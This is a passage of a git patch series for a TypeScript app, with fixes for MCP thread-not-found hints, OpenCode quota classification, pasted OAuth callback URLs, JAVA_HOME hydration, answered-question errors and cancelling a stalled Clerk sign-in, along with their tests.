Layer.mock(ProjectService.ProjectService)({}), + Layer.mock(SecretRequests.SecretRequests)({}), + Layer.mock(ScheduledTaskService.ScheduledTaskService)({}), + ), + ), + ); + const failuresFor = (shells: ReadonlyArray) => + Effect.gen(function* () { + const sent = yield* Ref.make(0); + return yield* Effect.gen(function* () { + const mcp = yield* OrchestratorMcpService.OrchestratorMcpService; + const read = yield* mcp.readThread(client, { threadId: bareId }).pipe(Effect.flip); + const send = yield* mcp + .sendToThread(client, { threadId: bareId, message: "hello" }) + .pipe(Effect.flip); + return { read, send, sends: yield* Ref.get(sent) }; + }).pipe(Effect.provide(service(shells, sent))); + }); + + it.effect("points a bare uuid at the mcp: thread it belongs to", () => + Effect.gen(function* () { + const { read, send, sends } = yield* failuresFor([launched]); + for (const error of [read, send]) { + assert.equal(error.code, "thread_not_found"); + assert.include(error.message, `mcp:${bareId}`); + } + assert.equal(sends, 0); + }), + ); + + it.effect("keeps the plain message for an id that matches nothing", () => + Effect.gen(function* () { + const { read, send } = yield* failuresFor([]); + assert.equal(read.code, "thread_not_found"); + assert.equal(read.message, `Thread ${bareId} is no longer available.`); + assert.equal(send.code, "thread_not_found"); + assert.equal(send.message, `Thread ${bareId} was not found.`); + }), + ); + + it.effect("does not name an mcp: thread that was deleted", () => + Effect.gen(function* () { + const { read, send } = yield* failuresFor([deletedLaunched]); + assert.equal(read.message, `Thread ${bareId} is no longer available.`); + assert.equal(send.message, `Thread ${bareId} was not found.`); + }), + ); +}); diff --git a/apps/server/src/mcp/OrchestratorMcpService.ts b/apps/server/src/mcp/OrchestratorMcpService.ts index f1ac8c570381..eca639ed7139 100644 --- a/apps/server/src/mcp/OrchestratorMcpService.ts +++ b/apps/server/src/mcp/OrchestratorMcpService.ts @@ -232,6 +232,26 @@ export const isLiveCallerShell = ( ) ?? false)); +/** + * Threads an agent starts over MCP are `mcp:`, and agents often paste the + * bare uuid. The id is never rewritten, so permission checks keyed on it still + * hold; the miss only names a live thread the caller could read by its full id. + */ +export const threadNotFound = Effect.fn("OrchestratorMcpService.threadNotFound")(function* ( + threads: Pick, + threadId: ThreadId, + message: string, +) { + const prefixed = ThreadId.make(`mcp:${threadId}`); + const shell = yield* threads.getThreadShell(prefixed).pipe(Effect.orElseSucceed(() => null)); + return yield* failure( + "thread_not_found", + shell === null || shell.deletedAt !== null + ? message + : `${message} Did you mean \`${prefixed}\`?`, + ); +}); + function threadManagementFailure(error: unknown): OrchestratorMcpFailure { if (!isThreadManagementError(error)) return failure("orchestration_error", errorMessage(error)); switch (error._tag) { @@ -1124,7 +1144,7 @@ const make = Effect.gen(function* () { .getThreadShell(threadId) .pipe(Effect.mapError(threadManagementFailure)); if (shell === null || shell.deletedAt !== null) { - return yield* failure("thread_not_found", `Thread ${threadId} was not found.`); + return yield* threadNotFound(threadManagement, threadId, `Thread ${threadId} was not found.`); } return yield* loadProjectThread(shell.projectId, threadId); }); @@ -1199,7 +1219,11 @@ const make = Effect.gen(function* () { .getThreadShell(threadId) .pipe(Effect.mapError(threadManagementFailure)); if (shell === null || shell.deletedAt !== null) { - return yield* failure("thread_not_found", `Thread ${threadId} is no longer available.`); + return yield* threadNotFound( + threadManagement, + threadId, + `Thread ${threadId} is no longer available.`, + ); } const target = yield* threadManagement .getProjectThreadRecords({ projectId: shell.projectId, threadId }, [ diff --git a/apps/server/src/mcp/ThreadMetadataMcpService.ts b/apps/server/src/mcp/ThreadMetadataMcpService.ts index 74176ec90c7b..e05200fd8eda 100644 --- a/apps/server/src/mcp/ThreadMetadataMcpService.ts +++ b/apps/server/src/mcp/ThreadMetadataMcpService.ts @@ -16,6 +16,7 @@ import * as Layer from "effect/Layer"; import * as ThreadManagementService from "../orchestration-v2/ThreadManagementService.ts"; import type { McpInvocationScope } from "./McpInvocationContext.ts"; +import { threadNotFound } from "./OrchestratorMcpService.ts"; export class ThreadMetadataMcpService extends Context.Service< ThreadMetadataMcpService, @@ -167,7 +168,7 @@ const make = Effect.gen(function* () { ), ); if (shell === null || shell.deletedAt !== null) { - return yield* failure("thread_not_found", `Thread ${threadId} was not found.`); + return yield* threadNotFound(threadManagement, threadId, `Thread ${threadId} was not found.`); } const target = yield* threadManagement .getProjectThreadRecords({ projectId: shell.projectId, threadId }, []) diff --git a/apps/server/src/mcp/threadAccess.test.ts b/apps/server/src/mcp/threadAccess.test.ts new file mode 100644 index 000000000000..a40f63baa6ca --- /dev/null +++ b/apps/server/src/mcp/threadAccess.test.ts @@ -0,0 +1,49 @@ +import { expect, it } from "@effect/vitest"; +import { EnvironmentId, ThreadId } from "@t3tools/contracts"; +import * as Effect from "effect/Effect"; +import * as Layer from "effect/Layer"; + +import * as ThreadManagement from "../orchestration-v2/ThreadManagementService.ts"; +import * as McpInvocationContext from "./McpInvocationContext.ts"; +import { liveThreadShell } from "./McpToolAccess.testkit.ts"; +import { readThread } from "./threadAccess.ts"; + +const bareId = ThreadId.make("5d0b4a3e-8c1f-4a52-9d37-2f6c7e1b9a04"); +const client: McpInvocationContext.McpInvocationScope = { + environmentId: EnvironmentId.make("environment:thread-access"), + requestNamespace: "client:thread-access", + thread: undefined, + client: { sessionId: "thread-access", label: "Claude Code", access: "full-access" }, + capabilities: new Set(["orchestration"]), + issuedAt: 1, +}; + +const readBare = (existing: ReadonlyArray) => + readThread(bareId).pipe( + Effect.flip, + Effect.provideService(McpInvocationContext.McpInvocationContext, client), + Effect.provide( + Layer.mock(ThreadManagement.ThreadManagementService)({ + getThreadShell: (threadId) => + Effect.succeed(existing.includes(threadId) ? liveThreadShell(threadId) : null), + }), + ), + ); + +it.effect("points a bare uuid at the mcp: thread it belongs to", () => + Effect.gen(function* () { + const error = yield* readBare([ThreadId.make(`mcp:${bareId}`)]); + + expect(error.code).toBe("thread_not_found"); + expect(error.message).toBe(`The thread was not found. Did you mean \`mcp:${bareId}\`?`); + }), +); + +it.effect("keeps the plain message for an id that matches nothing", () => + Effect.gen(function* () { + const error = yield* readBare([]); + + expect(error.code).toBe("thread_not_found"); + expect(error.message).toBe("The thread was not found."); + }), +); diff --git a/apps/server/src/mcp/threadAccess.ts b/apps/server/src/mcp/threadAccess.ts index be70ecf1807f..ba8dc4c3e576 100644 --- a/apps/server/src/mcp/threadAccess.ts +++ b/apps/server/src/mcp/threadAccess.ts @@ -156,10 +156,11 @@ export const readThread = Effect.fn("mcp.readThread")(function* < const targetId = yield* resolveThreadId(context, threadId); const shell = yield* context.threads.getThreadShell(targetId).pipe(Effect.mapError(unavailable)); if (shell === null || shell.deletedAt !== null) { - return yield* new OrchestratorMcpFailure({ - code: "thread_not_found", - message: "The thread was not found.", - }); + return yield* OrchestrationMcp.threadNotFound( + context.threads, + targetId, + "The thread was not found.", + ); } const projection = yield* context.threads .getProjectThreadRecords({ projectId: shell.projectId, threadId: targetId }, fields, { From 2f021ee7d3fd0130ceebeac00ef2d161a916f6d4 Mon Sep 17 00:00:00 2001 From: fixfon <12512757+fixfon@users.noreply.github.com> Date: Wed, 21 Oct 2026 16:18:04 +0300 Subject: [PATCH 009/130] fix(opencode): out-of-funds failures show OpenCode's message instead of a usage limit (#22596) --- .../Adapters/OpenCode2AdapterV2.test.ts | 65 +++++++++++++++++++ .../src/server/v2/adapter.ts | 18 ++--- 2 files changed, 75 insertions(+), 8 deletions(-) diff --git a/apps/server/src/orchestration-v2/Adapters/OpenCode2AdapterV2.test.ts b/apps/server/src/orchestration-v2/Adapters/OpenCode2AdapterV2.test.ts index a068a08c5e23..15ca24556ad6 100644 --- a/apps/server/src/orchestration-v2/Adapters/OpenCode2AdapterV2.test.ts +++ b/apps/server/src/orchestration-v2/Adapters/OpenCode2AdapterV2.test.ts @@ -514,6 +514,71 @@ it.layer(McpProviderSessions.layer)("OpenCode2 adapter", (it) => { }).pipe(Effect.scoped), ); + // OpenCode types an empty balance as provider.quota too, but answers it with + // HTTP 402 and it never resets. Usage windows and budgets arrive as 429. + it.effect.each([ + { + name: "an out-of-funds provider.quota (402)", + failureClass: "provider_error", + error: { + type: "provider.quota", + message: "Upstream request failed: Insufficient account funds", + status: 402, + }, + }, + { + name: "a provider.quota usage window (429)", + failureClass: "usage_limit", + error: { + type: "provider.quota", + message: "Subscription quota exceeded.", + status: 429, + response: { + body: JSON.stringify({ + type: "error", + error: { type: "GoUsageLimitError", message: "Subscription quota exceeded." }, + }), + }, + }, + }, + { + name: "a provider.quota account budget (429)", + failureClass: "usage_limit", + error: { + type: "provider.quota", + message: "Upstream request failed: Account budget exceeded", + status: 429, + }, + }, + { + name: "a provider.rate-limit failure (429)", + failureClass: "usage_limit", + error: { + type: "provider.rate-limit", + message: "Rate limit exceeded: free-models-per-min.", + status: 429, + }, + }, + ] as const)("classifies $name as $failureClass", ({ error, failureClass }) => + Effect.gen(function* () { + const { runtime, thread } = yield* resumed([ + out("session.prompt", { sessionID: SESSION, text: "" }), + promptAccepted, + event("session.execution.failed", { sessionID: SESSION, error }), + ]); + const terminal = yield* terminalOf(runtime).pipe(Effect.forkScoped); + yield* runtime.startTurn(turnInput(thread)); + const ended = yield* Fiber.join(terminal); + assert.equal(ended?.status, "failed"); + assert.deepEqual(ended?.failure, { + class: failureClass, + code: error.type, + message: error.message, + retryable: null, + }); + }).pipe(Effect.scoped), + ); + it.effect("ends the turn when its terminal event is one this build cannot decode", () => Effect.gen(function* () { const { runtime, thread } = yield* resumed([ diff --git a/packages/provider-opencode/src/server/v2/adapter.ts b/packages/provider-opencode/src/server/v2/adapter.ts index 33f4d2e6bd16..f837e24e2793 100644 --- a/packages/provider-opencode/src/server/v2/adapter.ts +++ b/packages/provider-opencode/src/server/v2/adapter.ts @@ -2182,19 +2182,21 @@ export const make = Effect.fn("OpenCode2Adapter.make")(function* (instanceId: Pr }); case "session.execution.interrupted": return yield* endExecution(state, turn, { status: "interrupted" }); - case "session.execution.failed": + case "session.execution.failed": { + const { type, message, status } = event.data.error; + // OpenCode types an empty balance as provider.quota too, but it answers + // that with HTTP 402 and it never resets. Usage windows and budgets are 429. + const usageLimit = + (type === "provider.quota" && status !== 402) || type === "provider.rate-limit"; return yield* endExecution(state, turn, { status: "failed", failure: makeProviderFailure({ - message: event.data.error.message, - code: event.data.error.type, - class: - event.data.error.type === "provider.quota" || - event.data.error.type === "provider.rate-limit" - ? "usage_limit" - : "provider_error", + message, + code: type, + class: usageLimit ? "usage_limit" : "provider_error", }), }); + } default: return; } From 35e5d6229ba2c121b61e56cd982c6e2fb3112ef0 Mon Sep 17 00:00:00 2001 From: project516 <138796702+Project516@users.noreply.github.com> Date: Wed, 21 Oct 2026 08:18:23 -0500 Subject: [PATCH 010/130] fix(shared): accept a pasted ChatGPT callback URL that is missing http:// (#21750) --- packages/shared/src/codexAuthHandoff.test.ts | 23 ++++++++++++++++++++ packages/shared/src/codexAuthHandoff.ts | 6 ++++- 2 files changed, 28 insertions(+), 1 deletion(-) diff --git a/packages/shared/src/codexAuthHandoff.test.ts b/packages/shared/src/codexAuthHandoff.test.ts index 687103cfe6e6..30693b60e5c8 100644 --- a/packages/shared/src/codexAuthHandoff.test.ts +++ b/packages/shared/src/codexAuthHandoff.test.ts @@ -4,6 +4,7 @@ import { codexAuthorizationRequest, codexAuthDeliveryUrl, codexAuthHandoffUrl, + codexCallbackUrl, readCodexAuthDelivery, readCodexAuthHandoff, } from "./codexAuthHandoff.ts"; @@ -77,3 +78,25 @@ describe("Codex desktop handoff", () => { expect(() => codexAuthDeliveryUrl(input, callbackUrl + "&state=another")).toThrow(); }); }); + +describe("pasted Codex callback", () => { + const { redirectUri, state } = codexAuthorizationRequest(input.authorizationUrl); + const copied = callbackUrl.slice("http://".length); + + it("accepts a callback copied without its scheme", () => { + expect(codexCallbackUrl(copied, redirectUri, state).toString()).toBe(callbackUrl); + }); + it("accepts leading whitespace with or without a scheme", () => { + expect(codexCallbackUrl(` \t\n${callbackUrl}`, redirectUri, state).toString()).toBe( + callbackUrl, + ); + expect(codexCallbackUrl(` \t\n${copied}`, redirectUri, state).toString()).toBe(callbackUrl); + }); + it("still rejects a scheme-less callback for another address or sign-in", () => { + expect(() => + codexCallbackUrl(copied.replace("127.0.0.1", "localhost"), redirectUri, state), + ).toThrow(); + expect(() => codexCallbackUrl(copied.replace("54213", "54214"), redirectUri, state)).toThrow(); + expect(() => codexCallbackUrl(`${copied}&state=another`, redirectUri, state)).toThrow(); + }); +}); diff --git a/packages/shared/src/codexAuthHandoff.ts b/packages/shared/src/codexAuthHandoff.ts index 7f0e4ccd183a..d0146bf76795 100644 --- a/packages/shared/src/codexAuthHandoff.ts +++ b/packages/shared/src/codexAuthHandoff.ts @@ -56,8 +56,12 @@ export function codexAuthorizationRequest(value: string) { } export function codexCallbackUrl(value: string, redirectUri: string, state: string) { - const callback = new URL(value); const expected = new URL(redirectUri); + const pasted = value.trimStart(); + // Browsers can hide `http://` in the address bar, so a pasted callback may lack it. + const callback = new URL( + /^[a-z][a-z\d+.-]*:\/\//iu.test(pasted) ? pasted : `${expected.protocol}//${pasted}`, + ); const states = callback.searchParams.getAll("state"); const codes = callback.searchParams.getAll("code"); const errors = callback.searchParams.getAll("error"); From a7c22f12b7f62dbc859749c73ec6f9c031af71d7 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 06:18:42 -0700 Subject: [PATCH 011/130] fix(server): the background service picks up JAVA_HOME from the login shell (#22856) Co-authored-by: Claude Opus 5.5 --- apps/server/src/os-jank.test.ts | 40 +++++++++++++++++++++++++++++++++ apps/server/src/os-jank.ts | 7 +++++- 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/apps/server/src/os-jank.test.ts b/apps/server/src/os-jank.test.ts index d9ae788baad1..fef7a2e440ed 100644 --- a/apps/server/src/os-jank.test.ts +++ b/apps/server/src/os-jank.test.ts @@ -96,6 +96,46 @@ effectIt.effect("keeps mise's PATH record with the login shell PATH", () => ), ); +effectIt.effect("hydrates a missing JAVA_HOME from the login shell and keeps an explicit one", () => + Effect.acquireUseRelease( + Effect.sync(() => + vi + .spyOn(NodeChildProcess, "execFileSync") + .mockReturnValue( + [ + "__T3CODE_ENV_PATH_START__", + "/opt/homebrew/bin", + "__T3CODE_ENV_PATH_END__", + "__T3CODE_ENV_JAVA_HOME_START__", + "/opt/homebrew/opt/openjdk@17", + "__T3CODE_ENV_JAVA_HOME_END__", + ].join("\n"), + ), + ), + () => + Effect.gen(function* () { + const missing: NodeJS.ProcessEnv = { SHELL: "/bin/zsh", PATH: "/usr/bin" }; + const explicit: NodeJS.ProcessEnv = { + SHELL: "/bin/zsh", + PATH: "/usr/bin", + JAVA_HOME: "/custom/jdk", + }; + + for (const env of [missing, explicit]) { + yield* fixPath().pipe( + Effect.provideService(HostProcess.Platform, "darwin"), + Effect.provideService(HostProcess.Environment, env), + Effect.provide(NodeServices.layer), + ); + } + + assert.equal(missing.JAVA_HOME, "/opt/homebrew/opt/openjdk@17"); + assert.equal(explicit.JAVA_HOME, "/custom/jdk"); + }), + (probe) => Effect.sync(() => probe.mockRestore()), + ), +); + effectIt.effect("replaces a Path-spelled Windows PATH instead of adding a second key", () => Effect.gen(function* () { const env: NodeJS.ProcessEnv = { Path: "C:\\Windows" }; diff --git a/apps/server/src/os-jank.ts b/apps/server/src/os-jank.ts index b6d0d5a7ad72..dc912bf39c3f 100644 --- a/apps/server/src/os-jank.ts +++ b/apps/server/src/os-jank.ts @@ -25,7 +25,7 @@ function hydratePosixPath(env: NodeJS.ProcessEnv, platform: NodeJS.Platform): vo // mise's record of the PATH entries it added. It must travel with the // shell's PATH, or `mise x` can rebuild PATH behind a same-named wrapper // (`exec mise x claude -- claude`) that then re-runs itself forever. - shellEnvironment = readEnvironmentFromLoginShell(shell, ["PATH", "__MISE_DIFF"]); + shellEnvironment = readEnvironmentFromLoginShell(shell, ["PATH", "__MISE_DIFF", "JAVA_HOME"]); } catch (error) { logPathHydrationWarning(`Failed to read PATH from login shell ${shell}.`, error); } @@ -42,6 +42,11 @@ function hydratePosixPath(env: NodeJS.ProcessEnv, platform: NodeJS.Platform): vo if (shellPath && shellEnvironment.__MISE_DIFF) { env.__MISE_DIFF = shellEnvironment.__MISE_DIFF; } + // Android SDK tools are Java programs. A keg-only JDK (Homebrew's openjdk) + // is only reachable through the JAVA_HOME the shell profile sets. + if (!env.JAVA_HOME && shellEnvironment.JAVA_HOME) { + env.JAVA_HOME = shellEnvironment.JAVA_HOME; + } } export function hydratePosixHome( From e822ba78ea23612f57093235f84813f385cf6431 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 06:19:02 -0700 Subject: [PATCH 012/130] fix(server): answered questions say "already answered" instead of "not found" (#22850) Co-authored-by: Claude Opus 5.5 --- apps/server/src/mcp/toolkits/core.test.ts | 80 +++++++++++++++++++ .../src/mcp/toolkits/thread/handlers.ts | 13 ++- 2 files changed, 89 insertions(+), 4 deletions(-) diff --git a/apps/server/src/mcp/toolkits/core.test.ts b/apps/server/src/mcp/toolkits/core.test.ts index 806f3360e9fd..02216cec576d 100644 --- a/apps/server/src/mcp/toolkits/core.test.ts +++ b/apps/server/src/mcp/toolkits/core.test.ts @@ -11,6 +11,7 @@ import { ProviderDriverKind, ProviderInstanceId, RunId, + RuntimeRequestId, ThreadId, TurnItemId, type OrchestrationV2ProjectedTurnItem, @@ -125,6 +126,85 @@ it.effect("checks capability through the production registration", () => ), ); +it.effect("an answered question reports already answered instead of not found", () => { + const shell = McpToolAccessTestkit.liveThreadShell(threadId); + const requestId = RuntimeRequestId.make("answered-question"); + const projection = McpToolAccessTestkit.idleThreadProjection(shell); + return Effect.gen(function* () { + const server = yield* McpServer.McpServer; + const respond = (id: string) => + server + .callTool({ + name: "t3_pending_request_respond", + arguments: { requestId: id, answers: { size: "large" } }, + }) + .pipe( + Effect.provideService(McpInvocationContext.McpInvocationContext, scope), + Effect.provideService(McpSchema.McpServerClient, client), + ); + expect(declaredFailure(yield* respond(requestId))).toMatchObject({ + code: "invalid_request", + message: "The user-input request was already answered.", + }); + expect(declaredFailure(yield* respond("missing-question"))).toMatchObject({ + code: "invalid_request", + message: "The pending user-input request was not found.", + }); + }).pipe( + Effect.provide( + layerThreadToolkit.pipe( + Layer.provideMerge(McpServer.McpServer.layer), + Layer.provide(NodeCrypto.layer), + Layer.provide( + Layer.mock(ThreadManagement.ThreadManagementService)({ + getThreadShell: () => Effect.succeed(shell), + getProjectThreadRecords: () => + Effect.succeed({ + ...projection, + runtimeRequests: [ + { + id: requestId, + nodeId: NodeId.make("root"), + providerTurnId: null, + nativeRequestRef: null, + kind: "user_input", + status: "resolved", + responseCapability: { type: "message" }, + createdAt: shell.createdAt, + resolvedAt: shell.updatedAt, + answers: { size: "large" }, + }, + ], + turnItems: [ + { + id: TurnItemId.make("answered-question-item"), + threadId, + runId: null, + nodeId: null, + providerThreadId: null, + providerTurnId: null, + nativeItemRef: null, + parentItemId: null, + ordinal: 0, + status: "completed", + title: null, + startedAt: shell.createdAt, + completedAt: shell.updatedAt, + updatedAt: shell.updatedAt, + type: "user_input_request", + requestId, + questions: [], + }, + ], + }), + dispatch: () => Effect.die("an answered question must not dispatch again"), + }), + ), + ), + ), + ); +}); + it("bounds public command rejections and redacts internal dispatch causes", () => { const command = { commandId: CommandId.make("mcp-core-command"), commandType: "thread.settle" }; expect( diff --git a/apps/server/src/mcp/toolkits/thread/handlers.ts b/apps/server/src/mcp/toolkits/thread/handlers.ts index fec17deae27c..4ab78b4fe07b 100644 --- a/apps/server/src/mcp/toolkits/thread/handlers.ts +++ b/apps/server/src/mcp/toolkits/thread/handlers.ts @@ -55,10 +55,7 @@ const readQuestion = Effect.fn("mcp.readQuestion")(function* (input: { }) { const context = yield* readThread(input.threadId, ["runtimeRequests", "turnItems"]); const request = context.projection.runtimeRequests.find( - (request) => - request.id === input.requestId && - request.kind === "user_input" && - request.status === "pending", + (request) => request.id === input.requestId && request.kind === "user_input", ); const item = context.projection.turnItems.find( (item) => item.type === "user_input_request" && item.requestId === input.requestId, @@ -68,6 +65,14 @@ const readQuestion = Effect.fn("mcp.readQuestion")(function* (input: { code: "invalid_request", message: "The pending user-input request was not found.", }); + if (request.status !== "pending") + return yield* new OrchestratorMcpFailure({ + code: "invalid_request", + message: + request.status === "resolved" + ? "The user-input request was already answered." + : `The user-input request is no longer pending (${request.status}).`, + }); return { ...context, request, item }; }); const writesThread =

( From 810e8f62f0eff2f3b6ae4602f781d9bb80607913 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 06:30:10 -0700 Subject: [PATCH 013/130] fix(desktop): an abandoned browser sign-in no longer blocks T3 Connect for 3 minutes (#22903) On desktop, an abandoned browser sign-in blocked every T3 Connect sign-in for 3 minutes. A new attempt now replaces the stale Clerk flow, and a Cancel bar resets the sheet. Takeover of #22708. Co-authored-by: steve-ai-vibe Co-Authored-By: Claude Opus 5.5 --- apps/desktop/src/clerkOAuthCancel.test.ts | 58 ++++++++++ apps/desktop/src/clerkOAuthCancel.ts | 46 ++++++++ apps/desktop/src/preload.ts | 7 +- .../components/clerk/ClerkOAuthPendingBar.tsx | 35 ++++++ .../clerk/ElectronManagedAuthShell.tsx | 2 + packages/contracts/src/ipc.ts | 3 + patches/@clerk__electron@0.1.1.patch | 103 ++++++++++++++++++ pnpm-lock.yaml | 7 +- pnpm-workspace.yaml | 1 + 9 files changed, 258 insertions(+), 4 deletions(-) create mode 100644 apps/desktop/src/clerkOAuthCancel.test.ts create mode 100644 apps/desktop/src/clerkOAuthCancel.ts create mode 100644 apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx create mode 100644 patches/@clerk__electron@0.1.1.patch diff --git a/apps/desktop/src/clerkOAuthCancel.test.ts b/apps/desktop/src/clerkOAuthCancel.test.ts new file mode 100644 index 000000000000..c03bb5f880c1 --- /dev/null +++ b/apps/desktop/src/clerkOAuthCancel.test.ts @@ -0,0 +1,58 @@ +import { assert, describe, it } from "@effect/vitest"; + +import { createClerkOAuthCancel } from "./clerkOAuthCancel.ts"; + +const deferredOpen = () => { + const resolvers: Array<(value: { callbackUrl: string }) => void> = []; + const opened: Array> = []; + const open = (_url: string) => { + const promise = new Promise<{ callbackUrl: string }>((resolve) => { + resolvers.push(resolve); + }); + opened.push(promise); + return promise; + }; + return { open, resolvers, opened }; +}; + +const outcome = (promise: Promise<{ callbackUrl: string }>) => + promise.then( + ({ callbackUrl }) => `resolved ${callbackUrl}`, + (error: Error) => `rejected ${error.message}`, + ); + +describe("createClerkOAuthCancel", () => { + it("cancel rejects the pending flow and reports it is no longer pending", async () => { + const oauth = createClerkOAuthCancel(); + const changes: boolean[] = []; + oauth.onPendingChange((pending) => changes.push(pending)); + const { open } = deferredOpen(); + + const flow = outcome(oauth.wrapOpen(open)("https://accounts.example/a")); + assert.isTrue(oauth.isPending()); + oauth.cancel(); + + assert.strictEqual(await flow, "rejected Clerk: OAuth flow was cancelled."); + assert.isFalse(oauth.isPending()); + assert.deepStrictEqual(changes, [true, false]); + }); + + it("a new attempt replaces the pending one, and the old result cannot clear it", async () => { + const oauth = createClerkOAuthCancel(); + const { open, resolvers, opened } = deferredOpen(); + const wrapped = oauth.wrapOpen(open); + + const first = outcome(wrapped("https://accounts.example/a")); + const second = outcome(wrapped("https://accounts.example/b")); + assert.strictEqual(await first, "rejected Clerk: OAuth flow was cancelled."); + + resolvers[0]?.({ callbackUrl: "t3code://app/?a" }); + // Two hops, so the wrapper's own `.then().finally()` on this result has run. + await opened[0]?.then(() => undefined).then(() => undefined); + assert.isTrue(oauth.isPending()); + + resolvers[1]?.({ callbackUrl: "t3code://app/?b" }); + assert.strictEqual(await second, "resolved t3code://app/?b"); + assert.isFalse(oauth.isPending()); + }); +}); diff --git a/apps/desktop/src/clerkOAuthCancel.ts b/apps/desktop/src/clerkOAuthCancel.ts new file mode 100644 index 000000000000..8cc52f181064 --- /dev/null +++ b/apps/desktop/src/clerkOAuthCancel.ts @@ -0,0 +1,46 @@ +type OAuthOpen = (url: string) => Promise<{ callbackUrl: string }>; + +/** + * Lets the app cancel the Clerk OAuth flow the renderer is waiting on. The + * system browser never reports a closed tab, so an abandoned sign-in would + * otherwise keep Clerk's sheet spinning until Clerk's 180s timeout. + * + * Pass `wrapOpen` to `exposeClerkBridge` as `wrapOAuthOpen`. Cancelling only + * rejects the renderer's promise; the patched main process replaces the stale + * flow when the next attempt starts. + */ +export function createClerkOAuthCancel() { + let cancelPending: (() => void) | null = null; + const listeners = new Set<(pending: boolean) => void>(); + const setCancelPending = (cancel: (() => void) | null) => { + cancelPending = cancel; + for (const listener of listeners) listener(cancel !== null); + }; + + return { + wrapOpen: + (open: OAuthOpen): OAuthOpen => + (url) => { + cancelPending?.(); + return new Promise((resolve, reject) => { + const settle = () => { + if (cancelPending === cancel) setCancelPending(null); + }; + const cancel = () => { + settle(); + reject(new Error("Clerk: OAuth flow was cancelled.")); + }; + setCancelPending(cancel); + open(url).then(resolve, reject).finally(settle); + }); + }, + isPending: () => cancelPending !== null, + onPendingChange: (listener: (pending: boolean) => void) => { + listeners.add(listener); + return () => { + listeners.delete(listener); + }; + }, + cancel: () => cancelPending?.(), + }; +} diff --git a/apps/desktop/src/preload.ts b/apps/desktop/src/preload.ts index bffa02d9ca43..61288173d7ae 100644 --- a/apps/desktop/src/preload.ts +++ b/apps/desktop/src/preload.ts @@ -10,6 +10,7 @@ import type { import { exposeClerkBridge } from "@clerk/electron/preload"; import { contextBridge, ipcRenderer, webFrame, webUtils } from "electron"; +import { createClerkOAuthCancel } from "./clerkOAuthCancel.ts"; import * as IpcChannels from "./ipc/channels.ts"; import { mergeLegacyLocalStorage } from "./legacyLocalStorageMerge.ts"; @@ -30,7 +31,8 @@ function isSnapShotEvent(value: unknown): value is DesktopSnapShotEvent { ); } -exposeClerkBridge({ passkeys: true }); +const clerkOAuthCancel = createClerkOAuthCancel(); +exposeClerkBridge({ passkeys: true, wrapOAuthOpen: clerkOAuthCancel.wrapOpen }); // Runs before any app script reads localStorage. See DesktopLegacyLocalStorage. try { @@ -251,6 +253,9 @@ contextBridge.exposeInMainWorld("desktopBridge", { ipcRenderer.removeListener(IpcChannels.QUIT_SHORTCUT_CHANNEL, wrappedListener); }; }, + isClerkOAuthPending: clerkOAuthCancel.isPending, + onClerkOAuthPendingChange: clerkOAuthCancel.onPendingChange, + cancelClerkOAuth: clerkOAuthCancel.cancel, getWindowFullscreenState: () => ipcRenderer.sendSync(IpcChannels.GET_WINDOW_FULLSCREEN_STATE_CHANNEL) === true, getWindowZoomFactor: () => webFrame.getZoomFactor(), diff --git a/apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx b/apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx new file mode 100644 index 000000000000..585d78189b0b --- /dev/null +++ b/apps/web/src/components/clerk/ClerkOAuthPendingBar.tsx @@ -0,0 +1,35 @@ +import { useSyncExternalStore } from "react"; +import { createPortal } from "react-dom"; + +import { Button } from "../ui/button"; + +function subscribeToClerkOAuthPending(onChange: () => void): () => void { + return window.desktopBridge?.onClerkOAuthPendingChange?.(() => onChange()) ?? (() => {}); +} + +function readClerkOAuthPending(): boolean { + return window.desktopBridge?.isClerkOAuthPending?.() ?? false; +} + +export function ClerkOAuthPendingBar() { + const pending = useSyncExternalStore(subscribeToClerkOAuthPending, readClerkOAuthPending); + if (!pending) return null; + return createPortal( +

+
+ Finish signing in in your browser. + +
+
, + document.body, + ); +} diff --git a/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx b/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx index 004ba8c81fca..0e42c28e3171 100644 --- a/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx +++ b/apps/web/src/components/clerk/ElectronManagedAuthShell.tsx @@ -3,6 +3,7 @@ import { ClerkProvider } from "@clerk/electron/react"; import type { ReactNode } from "react"; import { ManagedRelayAuthProvider } from "../../cloud/managedAuth"; +import { ClerkOAuthPendingBar } from "./ClerkOAuthPendingBar"; import { clerkAppearance } from "./clerkAppearance"; /** @@ -21,6 +22,7 @@ export default function ElectronManagedAuthShell({ return ( {children} + ); } diff --git a/packages/contracts/src/ipc.ts b/packages/contracts/src/ipc.ts index d1f6b349397e..831b9ed35caa 100644 --- a/packages/contracts/src/ipc.ts +++ b/packages/contracts/src/ipc.ts @@ -1125,6 +1125,9 @@ export interface DesktopBridge { onMenuAction: (listener: (action: string) => void) => () => void; onSnapShotEvent?: (listener: (event: DesktopSnapShotEvent) => void) => () => void; onQuitShortcut?: (listener: (event: QuitShortcutHintEvent) => void) => () => void; + isClerkOAuthPending?: () => boolean; + onClerkOAuthPendingChange?: (listener: (pending: boolean) => void) => () => void; + cancelClerkOAuth?: () => void; getWindowFullscreenState: () => boolean; onWindowFullscreenStateChange: (listener: (fullscreen: boolean) => void) => () => void; /** App window zoom; older desktop shells omit this method. */ diff --git a/patches/@clerk__electron@0.1.1.patch b/patches/@clerk__electron@0.1.1.patch new file mode 100644 index 000000000000..8c19e009883c --- /dev/null +++ b/patches/@clerk__electron@0.1.1.patch @@ -0,0 +1,103 @@ +diff --git a/dist/cjs/index.js b/dist/cjs/index.js +index 97a5a25d58584c9bf04997fcec67e29923a0cf76..8fa6d6422188dc720e6de3672ba77e79617526bd 100644 +--- a/dist/cjs/index.js ++++ b/dist/cjs/index.js +@@ -95,8 +95,8 @@ function setupOAuthTransportIpcHandlers(options) { + }); + electron.ipcMain.handle(require_ipc.OAUTH_TRANSPORT_CHANNELS.open, async (event, url) => { + if (!isMainFrameEvent(event)) throw new Error("Clerk: OAuth request did not originate from a window's main frame."); +- if (pendingOAuthFlow) throw new Error("Clerk: an OAuth flow is already pending."); + assertExternalOAuthUrl(url); ++ 